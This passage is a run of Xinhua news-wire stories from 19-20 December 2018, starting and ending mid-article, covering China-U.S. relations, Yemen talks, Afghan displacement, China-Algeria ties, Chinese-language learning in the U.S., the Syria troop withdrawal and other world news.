negotiation," said Freeman, a fluent Chinese speaker who served as an interpreter for then-U.S. President Richard Nixon on his ground-breaking trip to China in 1972. The disputes, he added, "will not just cost us dearly," but "could be fatal." Themed "Reflections on 40 Years," the panel was held to commemorate the 40th anniversary of China-U.S. diplomatic relations. Panelists from business, diplomatic, cultural and academic communities held discussions on the past, present and future of the bilateral relations. China is a huge potential export market for U.S. goods and services. Meanwhile, Chinese exports to the United States have helped keep consumer prices low and "mitigated the increasing inequality of income distribution" there, noted Freeman, who is also a senior fellow of the Watson Institute for International and Public Affairs at Brown University. Freeman spoke highly of China's commitment to increasing imports, adding that China is "a valued member of the international community and an active participant" in global governance. Freeman was joined by many at the discussion in recognizing the benefits from the development of China-U.S. relations. David Lampton, a professor emeritus and director of China studies at Johns Hopkins University, emphasized the significance of keeping the momentum of academic and educational exchanges in the ties. With "350,000 Chinese students in the United States today" paying "13 billion U.S. dollars annually for tuitions and fees," he noted, education "has become a big export item." "No matter what happens today, tomorrow, or the next day, there is this human plug between our two societies," Lampton added. U.S. business legend Maurice R. Greenberg, drawing on his decades of experience in doing business in China, said that he had faith in the win-win cooperation between China and the United States. Founded in 1966, the NCUSCR is a non-partisan, non-profit organization dedicated to the promotion of understanding and cooperation between the United States and China. Tuesday's event attracted more than 100 attendees, including many experts who have made contributions to the bilateral ties. Source: Xinhua| 2018-12-20 13:56:36|Editor: mmm Video Player Close ATLANTA, the United States, Dec. 19 (Xinhua) -- A U.S. expert on China has said that China's reform and opening-up in the past 40 years has produced significant results that have benefited both China and the United States, which bodes well for bilateral ties. Benjamin Shobert, who specializes in China's aging, healthcare reform and pharmaceutical industry, made the remarks in a recent interview with Xinhua. His latest book "Blaming China: It Might Feel Good but It Won't Fix America's Economy" was published earlier this year. "Relative to China's reform and opening-up, I think people in the United States and in China should give themselves an enormous amount of credit for the positive changes that have happened," Shobert said. "Right now with the current administration, it's comfortable to think that there are more problems than there are solutions. But if you look back at the last 40 years, I would argue that we've actually made significant progress in that China's reforms continue to point in the general direction of a country that the United States can build sustainable relationships with," he said. Regarding the Chinese government's pledge to continue reform and opening-up, "we should have good expectations," he added. While speaking about the present China-U.S. relations, the expert said that although the world's two largest economies are going to continue a very "challenging" relationship, he, as an American, is "much more concerned with and focused on what happens here (in the United States)." "I think much of the administration's attempt to characterize America's economic problems as being entirely a byproduct of the U.S.-China relationship is a mistake," he said. "There are significant challenges relative to technology, to financial engineering that actually constitute much more significant problems for the average Americans than the U.S.-China relationship specifically, or globalization in general." "To me, if we want to get the U.S.-China relationship right for another 40 years, we have to get a lot of things in the United States right first," he said, listing investment in infrastructure, healthcare and basic science as priority. Nevertheless, despite all the challenges ahead for the evolving China-U.S. partnership, Shobert said it is very possible that the two nations could manage to compete and cooperate at the same time. "I think any of us who have siblings know what it's like to be competitive with someone that we actually like, and so the hope is that the United States and China can figure out a way to be competitors, but they can also always keep in mind that we have much more in common than what we do that makes us different," said the expert. Source: Xinhua| 2018-12-20 14:21:39|Editor: Xiaoxia Video Player Close WASHINGTON, Dec. 19 (Xinhua) -- U.S. Secretary of State Mike Pompeo met with Omani Foreign Minister Yusuf bin Alawi bin Abdullah here Wednesday to discuss Omani efforts to mediate Yemen issues. Pompeo expressed his gratitude over Oman's positive engagement on regional issues, including its role in helping facilitate UN consultations on Yemen in Sweden, according to a statement issued by the U.S. State Department. Pompeo and bin Alawi underscored their support for UN Special Envoy Martin Griffiths and the next round of Yemen consultations. On Thursday, the week-long Yemen peace talks concluded in Sweden with constructive progress for future dialogues. Pompeo hailed the peace talks as "encouraging" and "a pivotal first step" towards ensuring peace in the country. The cease-fire agreement reached between the Yemeni government and Houthi rebels during the peace talks went into effect at midnight local time (2100 GMT) on Monday. Yemen has been mired in a civil war since late 2014 when the Houthi rebels overtook the capital Sanaa and toppled the government of President Abd-Rabbuh Mansour Hadi. A Saudi-led coalition has been fighting the Houthis since 2015. The war has killed more than 10,000 people and created a serious humanitarian crisis. Source: Xinhua| 2018-12-20 14:41:43|Editor: mmm Video Player Close NANJING, Dec. 20 (Xinhua) -- China's first self-designed modern bridge over the longest Chinese river of the Yangtze in the eastern city of Nanjing will reopen to road traffic by the end of December after a 27-month renovation. Built half a century ago, the Nanjing Yangtze River Bridge is China's first double-decked road-rail truss bridge. During the renovation, the highway traffic on the upper deck of the bridge was suspended while the railway on the lower deck was not disturbed. This renovation, with an investment of 1.14 billion yuan (165 million U.S. dollars), started in 2016, repairs the highway bridge deck, which is connected with No. 104 and No. 312 national highways. "The bridge was too high and full of overhead power lines over the railway. To ensure the safety of trains, we build a shelter shed," said Guo Jian, deputy director of the Center of Public Project Construction in Nanjing. The 5,165-meter-long bridge first opened to traffic in 1968, marking the start of China's independent bridge design and building. The renovation installs a new steel bridge deck, supports and adds pedestrian guardrails, lighting system and drainage system to make the bridge more updated and reinforced, said Guo. "With the renovation, the bridge is expected to work safely for another 50 years, as long as the traffic flow is properly controlled," Guo said. The bridge once served as a north-south artery for highway traffic in China. Due to rising demand for the cross-river road transport as well as high-speed railway lines, the city of Nanjing has built another four bridges over the river with the sixth bridge under construction. Source: Xinhua| 2018-12-20 15:31:49|Editor: Shi Yinglun Video Player Close Afghan children walk at a displaced person camp in Kabul, capital of Afghanistan, Dec. 21, 2018. More than one million Afghans have been displaced due to conflicts since 2001 as the worsening security situation and ongoing insurgency forced people to leave their homes for safer places. (Xinhua/Rahmat Alizadah) KANDAHAR, Afghanistan, Dec. 20 (Xinhua) -- Thousands of Afghans have left their houses following critical draught, growing insecurity and Taliban-led insurgency in southern Afghan provinces, where officials warned a human tragedy if continued. More than 30,000 families have been forced to leave their houses by rising insecurity and harsh draught in remote districts of southern Kandahar, Zabul, Uruzgan and Helmand provinces, arriving in Kandahar's provincial capital, Kandahar city, to seek urgent aids under harsh weather condition. The displaced families also included villagers from eastern Ghazni, western Badghis and Farah provinces. Abdul Khaliq, 38, a displaced man from Badghis, said he fled from draught and fighting between government security forces and Taliban and had no shelter to reside in Kandahar city. "I become more miserable when came to Kandahar due to war and draught. I have no even a shelter to reside, nor primary life facilities," Khaliq told Xinhua on Wednesday while asking the government for immediate support. Another displaced, Gul Babu, an aged woman, said she had nothing to eat or drink and was now living in an open desert. Local officials said they had only registered about 5,000 internally displaced persons (IDPs) in Kandahar and provided them with some urgent assistance in cooperation with international aid agencies while the rest IDPs did not receive any support so far. "They need shelter and other primary facilities, under severe climate condition," Mohammad Rahim Rahimi, provincial director of repatriates and refuges department, told Xinhua. This year, some 4,200 people have also recently returned to Kandahar, via Spin Boldak border town from Pakistan, where provincial authorities have started distribution of land among them in two separate townships of Daman and Panjwai districts, Rahimi said. Efforts were underway to provide assistance to IDPs in Kandahar city before the winter, he added. So far this year, more than 325,000 Afghans have been internally displaced by conflict, the UN Office for the Coordination of Humanitarian Affairs (OCHA) in Afghanistan reported on Wednesday. The report came as fighting rages across the country and the worsening security situation and ongoing insurgency forced people to leave their homes to safer places. However, the agency noted that overall the number of people displaced so far is 36 percent less than the same period last year. A recent survey launched by the UN Migration Agency (IOM) said that Afghanistan ranked the world's second country in term of repatriation growth. Addressing a meeting on Tuesday, marking the International Migration Day, government Chief Executive Abdullah Abdullah said more than six million Afghan people have been forced to leave the country by the last four decades of war. He said the government has put the issue of IDPs and migrates at its priority and good development has been made in this field, but not satisfactory. "War still continues and hundreds of households are uncertain to either leave or remain in Afghanistan," regretted Abdullah who blamed the continuation of war as the main reason for displacement and migration. He thanked the IOM for supporting Afghan refugees, as migration has turned into an international challenge. Sarah Craggs, senior head of programmes and serving deputy at the IOM, also spoke at the meeting as saying the organization would continue to stay alongside the government and people of Afghanistan, and was making efforts to tackle migration challenges. "We renew our call to ensure that migration and displacement remain our focus of attention, and that migration is safe, regular and dignified for all," she said. More than one million Afghans have been displaced due to conflicts since 2001 as worsening security situation and the ongoing insurgency have forced people to leave their homes. Source: Xinhua| 2018-12-20 15:31:49|Editor: xuxin Video Player Close TRIPOLI, Dec. 20 (Xinhua) -- Libya's UN-backed government on Wednesday condemned the military escalation in the Al-Sdada area, some 280 km east of the capital Tripoli, between the eastern-based army and an armed group. "The Presidential Council of the Government of National Accord strongly condemns the military escalation in the Al-Sdada area and rejects this unjustified provocation that brings violence back to the country," the government said in a statement. "The clashes in Al-Sdada are a clear violation of the agreements of the parties during the international conferences held in the past to end the Libyan crisis, where it was agreed to end the fighting in all the country and refrain from any escalation," it added. The eastern-based army announced earlier on Wednesday that it launched an attack in Al-Sdada against an armed group that used to occupy vital oil ports. Ever since the fall of the late leader Gaddafi's regime in 2011, Libya has been suffering political division, insecurity and chaos. Source: Xinhua| 2018-12-20 16:01:59|Editor: xuxin Video Player Close SAN FRANCISCO, Dec. 19 (Xinhua) -- U.S. airplane manufacturer Boeing raised its long-term forecast on Wednesday for the Indian commercial aircraft market to 2,300 new airplanes over the next 20 years. In its Commercial Market Outlook report released Wednesday, Boeing said the total market value of India is expected to hit 320 billion U.S. dollars if those aircraft are delivered by 2037, of which 1,940 will be narrow-body jets and 350 wide-bodies with a maximum capacity of 200 or more seats. The U.S. aerospace giant attributed the strong demand to an "unprecedented domestic passenger traffic, and rapidly expanding low-cost carriers." "This year alone, more than 10 million passengers, on average, traveled within India each month," Boeing said. India's commercial aviation industry has witnessed double-digit growth for 51 consecutive months, it added. "The Indian economy is projected to grow by nearly 350 percent over the next two decades to become the third largest economy in the world," said Dinesh Keskar, senior vice president of Sales for Asia Pacific and India at Boeing Commercial Airplanes based in Renton, 11 miles (about 17.6 km) southeast of downtown Seattle, Washington State. Boeing predicted that the entire South Asian region, will have a commercial services market valued at 430 billion dollars over the next two decades. Commercial services offer programs such as flight training, engineering and maintenance, as well as digital analytics for airlines to improve their operational efficiencies. Source: Xinhua| 2018-12-20 16:22:05|Editor: xuxin Video Player Close Chinese Ambassador to Algeria Li Lianhe addresses a reception celebrating the 60th anniversary of the establishment of the diplomatic relations between China and Algeria, in Algiers, Algeria, on Dec. 19, 2018. (Xinhua) ALGIERS, Dec. 20 (Xinhua) -- Algeria and China celebrated the 60th anniversary of the establishment of their diplomatic ties on Wednesday, as the North African nation issued a new postal stamp to mark this event. Algerian Foreign Minister, Abdelkader Messahel, and newly Chinese Ambassador to Algeria, Li Lianhe, addressed at the ceremony organized by Algerian Foreign Ministry in the International Conferences Center in Algiers. Messahel hailed in his speech "the vital contribution that China has brought to the Algerian revolution (1954-1962) to help it regain its independence." "The unwavering support of China continued as it was the first country to recognize the Provisional Government of the Algerian Republic (GPRA) a few weeks after its proclamation in Sept. 1958," he added. Messahel further recalled that "a year after the independence of Algeria, China responded to the call of Algeria while rushing medical mission." For his part, the Chinese ambassador said that he is proud to attend the ceremony after being appointed in his new post last week. "This ceremony celebrates the strong and deep relationship between our two countries, and I'm honoured to attend it, given that it is the first event for me here in Algeria since taking my duties as ambassador of China," said Li. The Chinese diplomat further recalled the role played by Algeria to help China to retrieve its legitimate seat both at the UN General Assembly and the Security Council in 1971. He concluded that "these strong bilateral relations have been founded by the old generation, as they grew up to reach the level of Comprehensive Strategic Partnership, which is a great achievement in the process of fruitful progress of bilateral ties." Finally, the ceremony concluded with revealing a postage stamp issued by Algerie Post to mark the 60th anniversary of the establishment of bilateral ties between Algiers and Beijing. The stamp was crafted by Algerian artist Al Mechta, which portrayed the massive contribution of Chinese workers in the development of Algeria. China is Algeria's largest trade supplier for the fifth year in a row. In 2017, China's exports to Algeria were 8.3 billion U.S. dollars, representing 18.1 percent of the North African total imports. Beijing and Algiers have raised their bilateral relations to a highest level, while signing in Feb. 2014 the Comprehensive Strategic Partnership on the occasion of the celebration of the 55th anniversary of the establishment of bilateral diplomatic ties. Algeria also joined the Belt and Road Initiative proposed by China, which will contribute in boosting bilateral trade exchange to record levels, said experts. Source: Xinhua| 2018-12-20 16:32:06|Editor: Li Xia Video Player Close by Xinhua writers Liang Junqian, Chen Shan MONTEREY, the United States, Dec. 20 (Xinhua) -- On a sunny and windless Sunday, Celine Franklin and her parents drove over to join a Chinese cultural festival in Monterey in the U.S. state of California. The 17-year-old Turkish-American girl, dressed in a floral embroidered blue blouse, stopped by a booth of a Chinese calligrapher and asked for her Chinese name "Yang Huizhong" written stroke by stroke on a small piece of white rice paper. After the work was finished, she rushed over to show it to her parents and explained to them the meaning of the Chinese name she picked for herself. "Yang" is the surname, while "Huizhong" means bright and intelligent. With a passion for the language and the people, Celine said she is "very stubborn" about her future career choice. "I definitely would like to teach English in China or be a Chinese teacher in America. I would like to use Chinese in my career," she told Xinhua. But her mother wants her daughter to become a doctor. "I don't think there's a way to convince my mom. I will major in linguistics and she'll have to deal with it. She will probably not pay for my college," the girl said. For the moment, she is an 11th grader at Carmel High School in the city of Carmel, California. After school, she teaches kids at a local youth center. She chose to learn Chinese four years ago when many of her classmates opted for either Spanish or French. To her, Chinese learning brings forth a brand new experience. In July, she went to central China's Zhengzhou City and volunteered to teach English at a summer camp for one month. She also traveled across China and visited a lot of historical sites, including the Great Wall which impressed her the most. "It was so hot that after we finished walking one tiny section of the Great Wall, my leg started shaking and I didn't expect that you had to climb upstairs to get to actual walls," Celine said. When Franklin came back from China, she not only completed 60 hours of community service required for her graduation, but also had a fun experience with a different culture. She encouraged her schoolmates to volunteer in China. "I really enjoyed going to China and it was really fun. I got to interact with different cultures, talk to local people, meet a lot of friends and gain experience," she added. FUN, CHALLENGING AND EYE-OPENING Like Franklin, Caitlin Shepherd also saw value in learning Chinese. Having lived and studied in Asia and Europe, the second-year graduate student at the Middlebury Institute of International Studies at Monterey (MIIS) said learning a language can open one's eyes to understand the world in a different way. Chinese language classes at MIIS use the content-based learning format. Shepherd and her 11 classmates meet twice a week for two-hour classes and they learn about classic Chinese works like Romance of the Three Kingdoms, Sun Tzu's Art of War, as well as legendary stories of the ancient Silk Road. "We study these Chinese classics and bring them to the modern day. We're learning the Art of War right now, but we're talking about the midterm elections, business ventures and investment. We're talking about nuclear deterrence and naval development," she said. Shepherd and her classmates study Chinese for different reasons. Some want to master Chinese to facilitate their research, some want to work as translators, while others pursue the language out of an interest in Taoism or Buddhism. Shepherd and her friend Franklin are examples of students learning Chinese and loving it, even though learning all the stroke sequences of Chinese characters and working on four tones of spoken Chinese are difficult. "It (Chinese learning) requires a lot more effort and commitment (than Latin alphabet-based languages)," said Franklin's Chinese language teacher Joyce Liu. Liu teaches at Carmel High School and Carmel Middle School. "When my students write their college essays, they always say that they have persevered, and put hard work and time to grasp the language and culture. My students go to Stanford, UCLA, and UC Berkeley. They continue learning Chinese in college," she explained. Now, she teaches altogether 80 students at four different levels. The principals of Joyce's schools along with community members have supported students' field trip to China and passionately joined in on different cultural activities at school. LEARNING BRINGS UNDERSTANDING U.S.-China relations have experienced ups and downs in recent years, but exchanges across the Pacific, especially the mutual understanding between these two peoples, continue strengthening bonds. Learning Chinese has become more popular in the United States. The Modern Language Association of America (MLA), the country's principal professional association for scholars of language and literature, conducted a study on enrollments in the 15 most commonly taught languages other than English in U.S. higher education institutes between 1958 and 2016. During the 58-year span, the percentage change for Arabic, Chinese, Japanese and Korean all exceed 8,000 percent. The Chinese language course enrollment increased 8,529 percent, from 615 in 1958 to 53,069 in 2016. It comes as an encouraging sign that so many young Americans are learning Chinese language decades after China and the United States ended their estranged relationship. "When I was growing up 20 years ago, Chinese was not a language offered at high school or college. It was certainly not a language that my parents would put me in a class," according to Jennifer Peck, a MIIS expert on language teaching and inter-cultural communication. "But now is very different. Chinese is becoming more and more common to be offered at high school and college levels," she said. "I think parents in California and especially in Silicon Valley who are aware of the tech boom in China are probably realizing their kids should learn Chinese if they're going to be successful in the future," Peck said. Chinese language instruction is widespread within school systems in the United States, according to the National K-12 Foreign Language Enrollment Survey Report in 2017. The West Coast holds the highest concentration of Chinese teaching and learning. California alone has a total of 108 (9.4 percent) schools that offer Chinese instruction and is home to 15.67 percent of all U.S. students enrolled in Chinese classes. UNFLINCHING DETERMINATION For years, MIIS has provided both academic and customized Chinese learning programs, offering language learning in a cultural context, which means that Chinese culture, history, and social etiquette are embedded in the language course. Students here are of all ages and backgrounds, ranging from 20-year-old diplomats to 30-year-old businesspeople to 50-year-old dumpling lovers. "Everyone has their own learning journey with the language. I'm interested in education and in doing research in China on cross-cultural education materials and curriculum design," said Shepherd, who majors in international education management. For these Chinese language learners, the recent pause in China-U.S. tariff disputes is good news for both countries and the rest of the world. During a dinner meeting in Argentina on Dec. 1, Chinese President Xi Jinping and his U.S. counterpart, Donald Trump, reached important consensus and agreed not to impose new additional tariffs. "The trade problem between China and the U.S. really make me sad, because I feel that there is so much positive influence that can come out of the relationship," Shepherd said. As growing numbers of Chinese and American youth study in each other's countries, they learn their respective languages and cultures, and develop the capacity to build mutual understanding and awareness. Statistics show that the United States remains the top choice for Chinese students who want to study abroad. Of the more than 1 million foreign students who enrolled at U.S. universities in the 2016-2017 academic year, about 35 percent were Chinese, up 6.8 percent from a year earlier, according to the Institute of International Education, a nonprofit based in New York City. Meanwhile, the United States was the fourth-largest source of international students in China last year, according to the Chinese Ministry of Education. "I hope we can use language education to bridge people together to reduce animosity and to bridge respects between people from across different cultures," Shepherd said with a radiant smile on her face. Source: Xinhua| 2018-12-20 16:32:07|Editor: xuxin Video Player Close JERUSALEM, Dec. 20 (Xinhua) -- Palestinians' cars were vandalized in East Jerusalem early on Thursday in a suspected hate crime by ultra-nationalist Israelis, the police and an Israeli human right group said. The incident took place in Beit Hanina, a Palestinian neighborhood in Jerusalem. Yesh Din, an Israeli human rights group, released CCTV footages and photos showing young men puncturing tires of parking cars. Some 20 vehicles were punctured, Lior Avihai, a spokesman for the group said in a statement. Hate graffiti was also spray-painted in the neighborhood, reading "we don't sleep, God's name is desecrated" and "death to the murderers." A police spokesperson confirmed that cars were vandalized and hate graffiti was spray-painted, saying an investigation was launched. Over the past years, ultra-nationalist Israelis have carried out thousands of the so-called "price tag" attacks against Palestinians and their property, including mosques, synagogues, and cemeteries. The incident came amidst a wave of violence between Israelis and Palestinians in the West Bank and East Jerusalem. Source: Xinhua| 2018-12-20 17:32:18|Editor: Li Xia Video Player Close Chief Executive of the Macao Special Administrative Region (SAR) Chui Sai On addresses a reception to celebrate the 19th anniversary of Macao's return to the motherland in Macao, south China, Dec. 20, 2018. (Xinhua/Cheong Kam Ka) MACAO, Dec. 20 (Xinhua) -- China's Macao Special Administrative Region (SAR) was to further participate in the country's reform and opening-up process, and to further integrate into the national development, Chief Executive of the Macao SAR Chui Sai On said on Thursday. The Macao SAR government has strictly adhered to the Constitution and the Macao SAR Basic Law in the past 19 years, and the policy of "one country, two systems" was fully implemented in the Macao SAR, Chui said at a reception event marking the 19th anniversary of Macao's returning to the motherland. The SAR government would fully participate in and support the development of the Belt and Road Initiative, and to further integrate into the national development, he noted. Macao has also set up a working committee for the development of the Guangdong-Hong Kong-Macao Greater Bay Area, so as to promote the SAR's integration into the area and improve the livelihood of its people, Chui said. Approximately 910 guests attended the reception. Prior to the reception, more than 350 guests attended a flag-raising ceremony at the Golden Lotus Square in celebration of the 19th anniversary of Macao's returning to the motherland. Source: Xinhua| 2018-12-20 18:02:23|Editor: ZX Video Player Close SEOUL, Dec. 20 (Xinhua) -- A senior U.S. envoy on the Democratic People's Republic of Korea (DPRK) policy visited the Joint Security Area (JSA) inside the Demilitarized Zone (DMZ) Thursday during his four-day trip to South Korea, Yonhap news agency reported citing diplomatic sources. Stephen Biegun, U.S. special representative for DPRK policy, arrived in Seoul on Wednesday afternoon, and toured the JSA, where soldiers from the two Koreas stand face-to-face, in the DMZ that has left the Korean Peninsula divided since the 1950-53 Korean War ended with armistice. During the day-long tour, Biegun reportedly had no plan to meet with DPRK officials. Tensions eased near the JSA as the two Koreas recently disarmed the area under the inter-Korean military agreement, which was signed by defense chiefs of the two Koreas during the Pyongyang summit in September between South Korean President Moon Jae-in and top DPRK leader Kim Jong Un. Biegun visited Pyongyang in October together with U.S. Secretary of State Mike Pompeo, but he has yet to hold a one-on-one meeting with his DPRK counterpart since he took office in late August. Later in the day, the U.S. special envoy would reportedly hold a dinner meeting with his South Korean counterpart, Lee Do-hoon. On Friday, Biegun and Lee will hold a working-group meeting at the South Korean foreign ministry's headquarters in Seoul to discuss overall issues on the DPRK, the denuclearized Korean Peninsula and inter-Korean relations. The working group was launched on Nov. 20 between the two allies to regularly communicate on DPRK issues. On the dialogue agenda would be the groundbreaking ceremony, which the two Koreas agreed to hold at Panmun Station in the DPRK's border town of Kaesong on Dec. 26 to modernize and connect railways and roads across the inter-Korean border. Also on the agenda for the working-group meeting could be humanitarian assistance to the DPRK. On arriving at a South Korean airport Wednesday afternoon, Biegun read out a prepared statement that his country was reviewing its policy on humanitarian aid by civic and religious groups to the DPRK. "I will be sitting down with American aid groups early in the New Year to discuss how we can better ensure the delivery of appropriate assistance, particularly through the course of the coming winter," Biegun was quoted as saying. Source: Xinhua| 2018-12-20 18:47:32|Editor: xuxin Video Player Close SAN FRANCISCO, Dec. 20 (Xinhua) -- San Francisco Mayor London Breed has written to California Governor Jerry Brown for "leniency" which might help for the possible early release of her brother from prison, the San Francisco Chronicle reported Wednesday. The paper said Breed sent a letter in October to outgoing Governor Brown, asking him to consider "leniency" and commute the sentence of her brother Napoleon Brown, who is serving a 42-year term in prison for manslaughter in 2000, with extra two years for possessing heroin while incarcerated. Breed's brother, now 46, was convicted of killing 25-year-old woman Lenties White 18 years ago. He pushed White from a getaway car on San Fransisco's landmark Golden Gate Bridge following an armed robbery. White died from injuries after she was struck by an oncoming drunken driver. "Napoleon struggled early on with a sense of hopelessness. And like many others, he developed a bad drug problem at an early age. His drug addiction led to a young life of crime," Breed said in her letter to the governor, who is to leave office on Jan. 7, 2019. She said that she was not making excuses for his crime, noting that "his decisions, his actions, led him to the place he finds himself now." "Still, I ask that you consider mercy, and rehabilitation," said the San Francisco mayor in the letter. Breed, who was elected as the first black female mayor of San Francisco in June 2018 and her request letter could trigger public concerns about her possible ethical violations for her role as an elected official. Source: Xinhua| 2018-12-20 19:03:40|Editor: Li Xia Video Player Close Aerial photo taken on July 10, 2018 shows the Dongting Lake station for wetland ecosystem research in Dongting Lake area, central China's Hunan Province. Collecting soil in spring, testing lake water in summer, investigating plants in autumn and observing migrant birds in winter outlined nearly ten years of seasonal cycle daily life of nameless scientific researchers in the Dongting Lake area. They have worked hard to supply solutions to protection of the environment and biological diversity here. The scientific researchers from the Chinese Academy of Sciences (CAS) were praised as the doctors of Dongting Lake wetland. In order to supply scientific support for ecological remediation of Dongting Lake, the CAS established an observation and research center in Dongting Lake wetland. As the second-largest freshwater lake in China, Dongting Lake played an important role in maintaining ecological balance of the Yangtze River valley and also was an important habitat for migrant birds, milu deer, finless porpoise and etc. The ecology system of Dongting Lake faced environmental deterioration once upon a time due to various reasons, and had been improved year by year due to measures taken by local government. According to an investigation in January 2018, over 226,000 migrant birds spent the winter in Dongting Lake, up 23 percent from a year earlier. (Xinhua/Xue Yuge) Source: Xinhua| 2018-12-20 19:02:34|Editor: xuxin Video Player Close by Raul Menchaca HAVANA, Dec. 19 (Xinhua) -- Tributes are pouring in as Cuba's living legend of ballet Alicia Alonso turns 98 this Friday. The dancer, choreographer and former director of Cuba's National Ballet (BNC), Alonso is a beloved cultural icon in her country and a renowned international performer who interpreted the starring roles of Giselle, Odette, Swanilda, Odile and Carmen. Alonso, who lost her sight after years of struggling with poor vision, has been out of the spotlight due to ailing heath, which kept her from attending the opening in October of the International Ballet Festival of Havana, an event she actively participated each year. Despite her absence, Cubans have prepared a series of events in her honor, including "Divas," an exhibit of paintings by Cuban artist Jose Miguel Perez at the Alicia Alonso Grand Theater of Havana. The exhibit features ten colorful acrylic portraits of the dancer capturing different moments in her life, opposite to the faces of 12 anonymous women who seem to observe and learn from her. "Alicia is still a role model despite being 98," said Perez, adding that anyone with her level of talent would become a legend and source of inspiration for others. According to art critic Tony Pinera, Alicia Ernestina de la Caridad del Cobre Martinez Hoya, born on Dec. 21, 1920, "is a symbol of Cuba" because "she dedicated her entire life since her earliest youth to ballet, and founded the seed, the company (BNC)" along with her dancer and choreographer husband Fernando Alonso, whom she married at the age of 15. Pinera, a journalist and curator, underscored Alonso's contribution to the creation of what critics call the Cuban School of Ballet, which has been considered the youngest in the world. As cofounder of Cuba's top ballet company, "she is the mother of all contemporary Cuban dancers," Pinera said. In honor of Alonso, Cuban painter Jesus Lara Sotelo will present a collection of poems titled "Alicia and the election of faith," published by Spanish publishing house Punto Rojo, and illustrated by the author with works of art dedicated to the prima ballerina. Her professional career took off in the United States when she took the place of dancer Alicia Markova, who fell ill before a performance of "Giselle" at the Metropolitan Opera House in New York in 1943. She went on to work with great choreographers such as George Balanchine, Anthony Tudor and Jerome Robbins, and danced with the renowned Rudolf Nureyev. Led by Alonso, the BNC has weathered through trying times of economic hardship, social prejudice and insufficient government support to become one of the five best ballet companies in the world, after the Paris Opera, the Royal Ballet of London, the American Ballet Theater and the Bolshoi Ballet. In 1995, she formally retired from the stage, but continued to run the BNC as an enduring cultural hallmark of her country. Source: Xinhua| 2018-12-20 19:02:34|Editor: Li Xia Video Player Close BEIJING, Dec. 20 (Xinhua) -- Lawrence Lau, former vice president of the Chinese University of Hong Kong, still vividly remembers his trip to the Chinese mainland in 1979. "I saw fried dough sticks and baked sesame seed cakes along the streets. They looked fairly tasty and were only five cents each," Lau recalled. "But the vendors wouldn't allow me to buy them because I didn't have any food coupons." For some decades, ration coupons were needed for many necessities and household items in China as the country suffered a shortage of food and materials. With progress from the reform and opening-up, they have gradually become part of history. Lau said China's fast growth since the reform and opening-up is unexpected. "I once estimated the annual GDP increase to be 8 percent, but it turned out to be above 10 percent in many years. This is extraordinary." A senior economist, Lau was among 40 global politicians, scholars, and entrepreneurs who attended the third Understanding China Conference in Beijing this week. Reform and opening-up is a focal point of discussion as this year's conference coincided with a key gathering to celebrate the 40th anniversary of the drive that has changed the destiny of China and hundreds of millions of its people. DEVELOPMENT MIRACLE Graham Allison, founding dean of Harvard's John F. Kennedy School of Government, used the word "miracle" to describe China's poverty reduction efforts. Allison said China has set a successful example for poverty reduction in the world. "If I have to choose the best of China's countless achievements, I would choose poverty reduction." The poverty rate had fallen among the rural population from 97.5 percent in 1978 to 3.1 percent at the end of 2017, according to the State Council Leading Group Office of Poverty Alleviation and Development. Other sources show in the past five years, over 68 million people have been lifted above the poverty line -- defined as per capita annual income lower than 2,300 yuan (about 334 U.S. dollars). "The 40th anniversary is an opportunity to shed light on the amazing things that China has accomplished," said Dawn Nakagawa, executive vice president of the Berggruen Institute, a think tank. "No other country has achieved consecutive years of growth, at levels that are so high," said Gordon Brown, former prime minister of the United Kingdom. Evan Spiegel, 28, is one of the youngest participants at the conference. "I came here again trying to understand China's long-term vision." "China's progress since starting the reform and opening-up is unbelievable and inspiring for the world," said Spiegel, co-founder and Chief Executive Officer of Snap Inc. WIDER OPENNESS Going forward, how China will continue to comprehensively deepen reform and open wider to the world has attracted much attention. From the Boao Forum for Asia annual conference to the China International Import Expo, China announced measures including substantially easing market access, creating a more attractive investment environment, strengthening intellectual property protection and actively expanding imports. George Papandreou, former prime minister of Greece, told Xinhua that China has shown "determination and interest to continue to cooperate with the world." Nathan Gardels, co-founder and senior advisor to the Berggruen Institute, said openness brings the world and China a new opportunity to enhance mutual understanding. Looking ahead, China has bright prospects in promoting the service industry, self-driven innovation, and green development, said Stephen Roach, a senior fellow at Yale University. WIN-WIN COOPERATION Peace and development remain the themes of the time. China is ready to work with other countries to build a community with a shared future for humanity and make greater contributions to world development. "China is an important global player willing to give a helping hand when there are difficult problems and crisis to deal with," Papandreou said. Over the last ten years, China handled the international financial crisis through close cooperation with other parts of the world, stabilizing the global economy, he said. Papandreou cited China-Greece cooperation on Piraeus, a Greek port, as a story of success. "This shows the potential of the Belt and Road Initiative (BRI)." "I believe the BRI will soon become the biggest peace project in this century and will bring in new forms of global governance," Papandreou told Xinhua. Dai Min, president of the Center for America China Partnership, said the BRI is a great project for China to share its success with the world. "China is a partner engaging the international community in solving problems," said Helle Thorning-Schmidt, former prime minister of Denmark. "Dialogue is the key to a prosperous and peaceful world for all of us. Together we are interdependent, and we share the same destiny." Source: Xinhua| 2018-12-20 19:17:36|Editor: xuxin Video Player Close CAIRO, Dec. 20 (Xinhua) -- The Interior Ministry of Egypt announced on Thursday that eight Muslim Brotherhood loyalists were killed and four others were arrested. The killed and arrested belong to the Hasm Movement, an affiliate to the Muslim Brotherhood which has been classified as a terrorist group by the Egyptian government. Egypt has been fighting against a wave of terror activities that killed hundreds of policemen and soldiers since the military toppled former Islamist President Mohamed Morsi in July 2013 in response to mass protests against his one-year rule and his currently blacklisted Brotherhood. Source: Xinhua| 2018-12-20 19:22:36|Editor: xuxin Video Player Close RABAT, Dec. 20 (Xinhua) -- Moroccan Interior Ministry announced Thursday the arrest of three suspects for murdering two foreign tourists in a mountainous area in central Morocco. The bodies of the two women tourists, a Danish and a Norwegian, were found Monday near the tourist village of Imlil, 60 km away from the city of Marrakech. Two of the suspects were arrested in Marrakech and were held in police custody as part of the ongoing investigation into the crime, and to verify "the terrorist motive hypothesis which has been supported by evidence during the investigations." Security services arrested in the same city Tuesday another suspect of the murder, and the public prosecutor at the Rabat Appeal Court announced a day later that investigations have revealed that the arrested suspect "belongs to an extremist group." The last terrorist attack in Morocco dates back to April 2011 when a suspected suicide bomber blew apart a famous tourist cafe in Marrakech, killing 15 people. Source: Xinhua| 2018-12-20 19:57:40|Editor: xuxin Video Player Close WASHINGTON, Dec. 19 (Xinhua) -- The Trump administration announced Wednesday that it has started returning U.S. troops home from Syria after claiming a victory in the fight against the Islamic State (IS), declining to provide more details on the exit timetable. The move drew mixed reactions at home and abroad, complicating the Syrian situation and leaving U.S. military presence in Iraq and Afghanistan in doubt. SURPRISE, NO SURPRISE "We have started returning United States troops home as we 